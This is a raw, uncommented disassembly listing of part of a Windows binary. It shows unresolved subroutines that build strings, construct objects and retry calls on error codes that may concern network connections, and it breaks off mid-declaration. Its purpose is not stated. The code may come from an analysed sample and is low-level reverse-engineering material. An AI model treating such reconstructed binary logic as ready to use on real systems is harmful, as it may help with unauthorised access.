mov [esp+0Ch], ecx
mov [esp+14h], al
mov ecx, 45h
xor eax, eax
lea edi, [esp+15h]
mov edx, ds:dword_43BD90
rep stosd
mov ecx, ds:dword_43BD80
mov [esp+10h], edx
mov dx, ds:word_43BD84
mov [esp+12Ch], ecx
stosw
stosb
mov ecx, 8Ah
xor eax, eax
lea edi, [esp+132h]
mov [esp+130h], dx
rep stosd
mov ecx, [esp+360h]
push 0FFh
stosw
lea eax, [esp+18h]
xor edi, edi
push eax
push 0FFFFFFFFh
push ecx
push edi
push edi
call ds:dword_4B3890
mov esi, ds:dword_4B3A8C
lea edx, [esp+14h]
lea eax, [esp+12Ch]
push edx
push eax
call esi
lea ecx, [esp+10h]
lea edx, [esp+134h]
push ecx
push edx
call esi
mov esi, [esp+374h]
add esp, 10h
lea eax, [esp+12Ch]
push edi
push offset dword_4AFD3C
push offset dword_4AFD3C
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+14h], eax
mov [esi+1Ch], edi
call sub_430AB6
cmp eax, 5
jz short loc_41A898
cmp eax, 4C3h
jnz short loc_41A8A1
loc_41A898: ; CODE XREF: _294ADE7B:0041A88Fj
push edi
push edi
push edi
push esi
call sub_430AB6
loc_41A8A1: ; CODE XREF: _294ADE7B:0041A896j
pop edi
cmp eax, 5
pop esi
jz short loc_41A8B8
cmp eax, 4C3h
jz short loc_41A8B8
mov al, 1
add esp, 354h
retn
; ---------------------------------------------------------------------------
loc_41A8B8: ; CODE XREF: _294ADE7B:0041A8A6j
; _294ADE7B:0041A8ADj
xor al, al
add esp, 354h
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41A920: ; CODE XREF: _294ADE7B:00401D8Ej
sub esp, 354h
mov eax, ds:off_43BD88
mov ecx, ds:off_43BD8C
mov [esp+0], eax
mov al, ds:byte_43FDC8
push esi
push edi
mov [esp+0Ch], ecx
mov [esp+14h], al
mov ecx, 45h
xor eax, eax
lea edi, [esp+15h]
mov edx, ds:dword_43BD90
rep stosd
mov ecx, ds:dword_43BD80
mov [esp+10h], edx
mov dx, ds:word_43BD84
mov [esp+12Ch], ecx
stosw
stosb
mov ecx, 8Ah
xor eax, eax
lea edi, [esp+132h]
mov [esp+130h], dx
rep stosd
mov ecx, [esp+360h]
push 0FFh
stosw
lea eax, [esp+18h]
push eax
push 0FFFFFFFFh
push ecx
push 0
push 0
call ds:dword_4B3890
mov esi, ds:dword_4B3A8C
lea edx, [esp+14h]
lea eax, [esp+12Ch]
push edx
push eax
call esi
lea ecx, [esp+10h]
lea edx, [esp+134h]
push ecx
push edx
call esi
add esp, 10h
lea eax, [esp+12Ch]
push 0
push 0
push eax
call sub_430ABC
test eax, eax
jz short loc_41AA08
mov esi, ds:dword_4B38CC
loc_41A9EC: ; CODE XREF: _294ADE7B:0041AA06j
push 7D0h
call esi
push 0
lea ecx, [esp+130h]
push 0
push ecx
call sub_430ABC
test eax, eax
jnz short loc_41A9EC
loc_41AA08: ; CODE XREF: _294ADE7B:0041A9E4j
pop edi
mov al, 1
pop esi
add esp, 354h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41AA60 proc near ; CODE XREF: sub_401C58j
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41AA60
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 0Ch
push 4
push 4Fh
push 10h
push 14h
lea eax, [esp+5Ch+var_3C]
push 6
mov esi, ecx
push eax
call sub_4018DE
add esp, 20h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_401726
lea ecx, [esi+0BCh]
push eax
push ecx
mov ecx, offset dword_43FFB0
call sub_401523
or edi, 0FFFFFFFFh
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_4011F9
push 0
push 5
push 18h
push 5
push 4Fh
push 10h
push 14h
lea edx, [esp+60h+var_3C]
push 6
push edx
call sub_4018DE
add esp, 24h
push esi
mov ecx, eax
mov [esp+48h+var_4], 1
call sub_401726
push eax
lea eax, [esi+118h]
push eax
mov ecx, offset dword_43FFB0
call sub_401523
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_4011F9
push 0
push 10h
push 15h
push 4Fh
push 10h
push 14h
lea ecx, [esp+5Ch+var_3C]
push 6
push ecx
call sub_4018DE
add esp, 20h
push esi
mov ecx, eax
mov [esp+48h+var_4], 2
call sub_401726
lea edx, [esi+0EAh]
push eax
push edx
mov ecx, offset dword_43FFB0
call sub_401523
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_4011F9
push 0
push 0Ch
push 4
push 4Fh
push 10h
push 14h
push 14h
lea eax, [esp+60h+var_3C]
push 8
push eax
call sub_4018DE
add esp, 24h
push esi
mov ecx, eax
mov [esp+48h+var_4], 3
call sub_401726
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_43FFB0
call sub_401523
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_4011F9
push 0
push 5
push 18h
push 5
push 4Fh
push 10h
push 14h
push 14h
lea edx, [esp+64h+var_3C]
push 8
push edx
call sub_4018DE
add esp, 28h
push esi
mov ecx, eax
mov [esp+48h+var_4], 4
call sub_401726
push eax
lea eax, [esi+60h]
push eax
mov ecx, offset dword_43FFB0
call sub_401523
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_4011F9
push 0
push 5
push 14h
push 1
push 4
push 10h
push 15h
push 4Fh
push 10h
push 14h
push 14h
lea ecx, [esp+70h+var_24]
push 8
push ecx
call sub_4018DE
add esp, 34h
push esi
mov ecx, eax
mov [esp+48h+var_4], 5
call sub_401726
add esi, 32h
push eax
push esi
mov ecx, offset dword_43FFB0
call sub_401523
lea ecx, [esp+44h+var_24]
mov [esp+44h+var_4], edi
call sub_4011F9
mov ecx, [esp+44h+var_C]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
sub_41AA60 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41ACE0 proc near ; CODE XREF: sub_40105Fj
var_111 = byte ptr -111h
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_F4 = byte ptr -0F4h
var_DC = byte ptr -0DCh
var_C4 = byte ptr -0C4h
var_AC = byte ptr -0ACh
var_94 = byte ptr -94h
var_7C = byte ptr -7Ch
var_67 = byte ptr -67h
var_52 = byte ptr -52h
var_3D = byte ptr -3Dh
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_41ACE0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 108h
push ebx
push ebp
mov ebp, ecx
push esi
push edi
lea ecx, [esp+124h+var_10C]
call sub_4013CF
lea ecx, [esp+124h+var_DC]
mov [esp+124h+var_4], 0
call sub_4013CF
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_4013CF
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_4013CF
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_4013CF
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_401A41
mov esi, [esp+124h+arg_0]
mov bl, 5
lea ecx, [ebp+8Eh]
mov byte ptr [esp+124h+var_4], bl
lea edi, [esi+7Eh]
call sub_401726
push eax
mov ecx, edi
call sub_4012B7
lea ecx, [ebp+4]
call sub_401726
push eax
mov ecx, edi
call sub_4012B7
test eax, eax
jnz loc_41AF0C
push offset dword_43B600
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_401622
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 6
push ecx
mov ecx, eax
call sub_4015F5
push eax
call sub_401861
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_4011F9
mov al, [esp+124h+var_111]
test al, al
jnz loc_41B871
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401E65
push offset asc_43BB68 ; ":"
lea ecx, [esp+128h+var_10C]
call sub_4019BA
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401122
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401E65
push 1
push offset dword_43B600
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011C2
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 7
call sub_401E65
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_4011F9
push 94h
call sub_43034A
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 8
jz short loc_41AE9C
mov ecx, eax
call sub_402031
mov edi, eax
jmp short loc_41AE9E
; ---------------------------------------------------------------------------
loc_41AE9C: ; CODE XREF: sub_41ACE0+1AFj
xor edi, edi
loc_41AE9E: ; CODE XREF: sub_41ACE0+1BAj
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401E65
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401E65
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401E65
lea eax, [esi+69h]
lea ecx, [edi+7Ah]
push eax
call sub_401E65
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 0
mov cl, [esi+93h]
mov [edi+92h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+93h], dl
call sub_40137F
loc_41AF0C: ; CODE XREF: sub_41ACE0+C0j
lea ecx, [ebp+60h]
call sub_401726
push eax
lea ecx, [esi+7Eh]
call sub_4012B7
test eax, eax
jnz loc_41B08B
push offset dword_43B600
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_401622
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 9
push ecx
mov ecx, eax
call sub_4015F5
push eax
call sub_401861
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_4011F9
mov al, [esp+124h+var_111]
test al, al
jnz loc_41B871
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401E65
push offset asc_43BB68 ; ":"
lea ecx, [esp+128h+var_10C]
call sub_4019BA
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401122
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401E65
push 1
push offset dword_43B600
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011C2
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 0Ah
call sub_401E65
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_4011F9
push 94h
call sub_43034A
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 0Bh
jz short loc_41B01B
mov ecx, eax
call sub_402031
mov edi, eax
jmp short loc_41B01D
; ---------------------------------------------------------------------------
loc_41B01B: ; CODE XREF: sub_41ACE0+32Ej
xor edi, edi
loc_41B01D: ; CODE XREF: sub_41ACE0+339j
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401E65
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401E65
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401E65
lea eax, [esi+69h]
lea ecx, [edi+7Ah]
push eax
call sub_401E65
mov byte ptr [edi+8Fh], 1
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 0
mov cl, [esi+93h]
mov [edi+92h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+93h], dl
call sub_40137F
loc_41B08B: ; CODE XREF: sub_41ACE0+23Fj
lea ecx, [ebp+32h]
call sub_401726
push eax
lea ecx, [esi+7Eh]
call sub_4012B7
test eax, eax
jnz loc_41B2C6
push offset dword_43B600
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_401622
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 0Ch
push ecx
mov ecx, eax
call sub_4015F5
push eax
call sub_401861
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_4011F9
mov al, [esp+124h+var_111]
test al, al
jnz loc_41B871
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401E65
push offset asc_43BB68 ; ":"
lea ecx, [esp+128h+var_10C]
call sub_4019BA
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401122
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401E65
push 1
push offset dword_43B600
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011C2
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 0Dh
call sub_401E65
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_4011F9
push offset dword_43B600
lea eax, [esp+128h+var_F4]
push 3
push eax
mov ecx, esi
call sub_401622
push offset word_4403F2
mov ecx, eax
mov byte ptr [esp+128h+var_4], 0Eh
call sub_401A7D
test eax, eax
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
setz [esp+124h+var_111]
call sub_4011F9
mov al, [esp+124h+var_111]
test al, al
jz short loc_41B22E
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_401456
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_4011F9
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_4011F9
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_4011F9
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_4011F9
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_4011F9
xor al, al
jmp loc_41B8E2
; ---------------------------------------------------------------------------
loc_41B22E: ; CODE XREF: sub_41ACE0+4D6j
push 94h
call sub_43034A
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 0Fh
jz short loc_41B256
mov ecx, eax
call sub_402031
mov edi, eax
jmp short loc_41B258
; ---------------------------------------------------------------------------
loc_41B256: ; CODE XREF: sub_41ACE0+569j
xor edi, edi
loc_41B258: ; CODE XREF: sub_41ACE0+574j
lea ecx, [esp+124h+var_10C]
mov byte ptr [esp+124h+var_4], bl
push ecx
lea ecx, [edi+11h]
call sub_401E65
lea edx, [esp+124h+var_DC]
lea ecx, [edi+26h]
push edx
call sub_401E65
lea eax, [esp+124h+var_C4]
lea ecx, [edi+65h]
push eax
call sub_401E65
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401E65
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 1
mov byte ptr [edi+91h], 0
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_40137F
loc_41B2C6: ; CODE XREF: sub_41ACE0+3BEj
lea ecx, [ebp+0BCh]
call sub_401726
push eax
lea ecx, [esi+7Eh]
call sub_4012B7
test eax, eax
jnz loc_41B46B
push offset dword_43B600
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_401622
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 10h
call sub_4015F5
push eax
call sub_401861
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_4011F9
mov al, [esp+124h+var_111]
test al, al
jnz loc_41B871
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401E65
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401E65
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401E65
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401E65
push 1
push offset dword_43B600
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011C2
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 11h
call sub_401E65
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_4011F9
push 94h
call sub_43034A
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 12h
jz short loc_41B3DE
mov ecx, eax
call sub_402031
mov edi, eax
jmp short loc_41B3E0
; ---------------------------------------------------------------------------
loc_41B3DE: ; CODE XREF: sub_41ACE0+6F1j
xor edi, edi
loc_41B3E0: ; CODE XREF: sub_41ACE0+6FCj
lea edx, [esp+124h+var_10C]
lea ecx, [edi+11h]
push edx
mov byte ptr [esp+128h+var_4], bl
call sub_401E65
lea eax, [esp+124h+var_DC]
lea ecx, [edi+26h]
push eax
call sub_401E65
lea ecx, [esp+124h+var_C4]
push ecx
lea ecx, [edi+65h]
call sub_401E65
lea edx, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push edx
call sub_401E65
lea eax, [esp+124h+var_94]
lea ecx, [edi+50h]
push eax
call sub_401E65
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401E65
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 1
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_40137F
loc_41B46B: ; CODE XREF: sub_41ACE0+5FCj
lea ecx, [ebp+118h]
call sub_401726
push eax
lea ecx, [esi+7Eh]
call sub_4012B7
test eax, eax
jnz loc_41B610
push offset dword_43B600
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_401622
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 13h
call sub_4015F5
push eax
call sub_401861
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_4011F9
mov al, [esp+124h+var_111]
test al, al
jnz loc_41B871
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401E65
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401E65
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401E65
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401E65
push 1
push offset dword_43B600
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011C2
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 14h
call sub_401E65
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_4011F9
push 94h
call sub_43034A
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 15h
jz short loc_41B583
mov ecx, eax
call sub_402031
mov edi, eax
jmp short loc_41B585
; ---------------------------------------------------------------------------
loc_41B583: ; CODE XREF: sub_41ACE0+896j
xor edi, edi
loc_41B585: ; CODE XREF: sub_41ACE0+8A1j
lea edx, [esp+124h+var_10C]
lea ecx, [edi+11h]
push edx
mov byte ptr [esp+128h+var_4], bl
call sub_401E65
lea eax, [esp+124h+var_DC]
lea ecx, [edi+26h]
push eax
call sub_401E65
lea ecx, [esp+124h+var_C4]
push ecx
lea ecx, [edi+65h]
call sub_401E65
lea edx, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push edx
call sub_401E65
lea eax, [esp+124h+var_94]
lea ecx, [edi+50h]
push eax
call sub_401E65
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401E65
mov byte ptr [edi+8Fh], 1
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 1
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_40137F
loc_41B610: ; CODE XREF: sub_41ACE0+7A1j
lea ecx, [ebp+0EAh]
call sub_401726
push eax
lea ecx, [esi+7Eh]
call sub_4012B7
test eax, eax
jnz loc_41B871
push offset dword_43B600
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_401622
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 16h
call sub_4015F5
push eax
call sub_401861
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_4011F9
mov al, [esp+124h+var_111]
test al, al
jnz loc_41B871
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401E65
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401E65
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401E65
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401E65
push 1
push offset dword_43B600
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011C2
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 17h
call sub_401E65
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_4011F9
push offset dword_43B600
lea edx, [esp+128h+var_F4]
push 3
push edx
mov ecx, esi
call sub_401622
push offset word_4403F2
mov ecx, eax
mov byte ptr [esp+128h+var_4], 18h
call sub_401A7D
test eax, eax
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
setz [esp+124h+var_111]
call sub_4011F9
mov al, [esp+124h+var_111]
test al, al
jz short loc_41B7BC
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_401456
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_4011F9
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_4011F9
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_4011F9
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_4011F9
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_4011F9
xor al, al
jmp loc_41B8E2
; ---------------------------------------------------------------------------
loc_41B7BC: ; CODE XREF: sub_41ACE0+A64j
push 94h
call sub_43034A
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 19h
jz short loc_41B7E4
mov ecx, eax
call sub_402031
mov edi, eax
jmp short loc_41B7E6
; ---------------------------------------------------------------------------
loc_41B7E4: ; CODE XREF: sub_41ACE0+AF7j
xor edi, edi
loc_41B7E6: ; CODE XREF: sub_41ACE0+B02j
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401E65
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401E65
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401E65
lea eax, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push eax
call sub_401E65
lea ecx, [esp+124h+var_94]
push ecx
lea ecx, [edi+50h]
call sub_401E65
lea edx, [esi+69h]
lea ecx, [edi+7Ah]
push edx
call sub_401E65
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 1
mov byte ptr [edi+91h], 1
mov al, [esi+93h]
mov [edi+92h], al
mov cl, [esi+94h]
mov [edi+93h], cl
mov ecx, edi
call sub_40137F
loc_41B871: ; CODE XREF: sub_41ACE0+116j
; sub_41ACE0+295j ...
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_401456
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_4011F9
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_4011F9
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_4011F9
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_4011F9
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_4011F9
mov al, 1
loc_41B8E2: ; CODE XREF: sub_41ACE0+549j
; sub_41ACE0+AD7j
mov ecx, [esp+124h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 114h
retn 4
sub_41ACE0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 310h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41BC10 proc near ; CODE XREF: sub_401A41j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41BC10
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4013CF
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_4013CF
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_4013CF
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_4013CF
lea ecx, [esi+58h]
mov byte ptr [esp+14h+var_4], 3
call sub_4013CF
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41BC10 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41BCA0 proc near ; CODE XREF: sub_401456j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41BCA0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+58h]
mov [esp+14h+var_4], 3
call sub_4011F9
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_4011F9
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_4011F9
lea ecx, [esi+15h]
mov byte ptr [esp+14h+var_4], 0
call sub_4011F9
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41BCA0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41BD40 proc near ; CODE XREF: sub_402031j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41BD40
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401D2F
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_4013CF
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_4013CF
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_4013CF
lea ecx, [esi+50h]
mov byte ptr [esp+14h+var_4], 3
call sub_4013CF
lea ecx, [esi+65h]
mov byte ptr [esp+14h+var_4], 4
call sub_4013CF
lea ecx, [esi+7Ah]
mov byte ptr [esp+14h+var_4], 5
call sub_4013CF
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_4370B0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41BD40 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41BE00 proc near ; CODE XREF: sub_401B63j
var_68 = dword ptr -68h
var_50 = byte ptr -50h
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_14 = byte ptr 18h
arg_20 = byte ptr 24h
arg_38 = byte ptr 3Ch
arg_44 = byte ptr 48h
arg_FC = byte ptr 100h
arg_10C = byte ptr 110h
arg_11C = byte ptr 120h
arg_10EC = dword ptr 10F0h
arg_1100 = byte ptr 1104h
arg_1114 = dword ptr 1118h
arg_1144 = byte ptr 1148h
arg_1148 = dword ptr 114Ch
